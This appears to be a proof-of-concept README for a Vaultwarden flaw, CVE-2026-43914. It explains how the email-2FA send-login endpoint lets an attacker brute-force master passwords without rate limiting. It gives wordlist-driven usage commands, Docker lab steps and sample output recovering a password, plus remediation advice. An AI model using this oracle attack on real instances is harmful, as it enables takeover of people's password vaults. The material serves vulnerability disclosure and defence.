CVE-2026-43914 — Vaultwarden Email-2FA Brute-Force Protection Bypass

Proof-of-concept for CVE-2026-43914: when Email 2FA is enabled, Vaultwarden's login brute-force protection can be completely bypassed via the unauthenticated POST /api/two-factor/send-email-login endpoint, which acts as an unlimited master-password oracle.

Affected: Vaultwarden < 1.35.4

Why it matters

Vaultwarden is the most popular self-hosted Bitwarden-compatible password manager. Admins enable Email 2FA believing it stops password guessing — but this endpoint validates the master password hash and returns a distinct HTTP status for correct/incorrect guesses before any rate limiting or account lockout applies:

An attacker who knows (or guesses) a victim's email can brute-force the master password at full speed with zero throttling. Email 2FA does not prevent this.

Root cause (from source, v1.35.3)

In src/api/core/two_factor/email.rs, the send_email_login handler checks the password and returns early on mismatch — but this route is not registered with the brute-force/limiting middleware that protects /identity/connect/token. Each call:

1. looks up the user by email,
2. compares check_valid_password(master_password_hash) → err!("Username or password is incorrect") (HTTP 400) on mismatch,
3. on success generates + emails an OTP and returns HTTP 200.

Usage

python3 vw_bf_poc.py --host localhost --port 8222 \
    --email [email protected] \
    --passwords "summer2024,Qwerty123!,CorrectHorse123!"

# or a wordlist:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt

Python 3 stdlib only.

Lab (reproduce)

# mail catcher
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog

# vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
  -e I_REALLY_WANT_VOLATILE_STORAGE=true \
  -e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
  -e [email protected] -e DOMAIN=http://localhost:8222 \
  vaultwarden/server:1.35.3

Create a test user (any Bitwarden client or API), enable Email 2FA (Settings → Two-step Login → Email), then run the PoC against it.

Verified output

$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle

  [0001] 400  -  wrong1
  [0002] 400  -  wrong2
  [0003] 200  HIT!  CorrectHorse123!

=> PASS: master password FOUND = 'CorrectHorse123!'  (1.4s, no rate limit hit)

Remediation

Upgrade to Vaultwarden 1.35.4+. Until then: disable Email 2FA in favor of TOTP/WebAuthn, and put the instance behind a reverse proxy with per-IP rate limiting on /api/two-factor/*.

References

• GHSA-c5rv-q295-7w4g (dani-garcia/vaultwarden advisory)
• Neodyme advisory: cve-2026-43914

Disclaimer

For authorized security research and lab use only.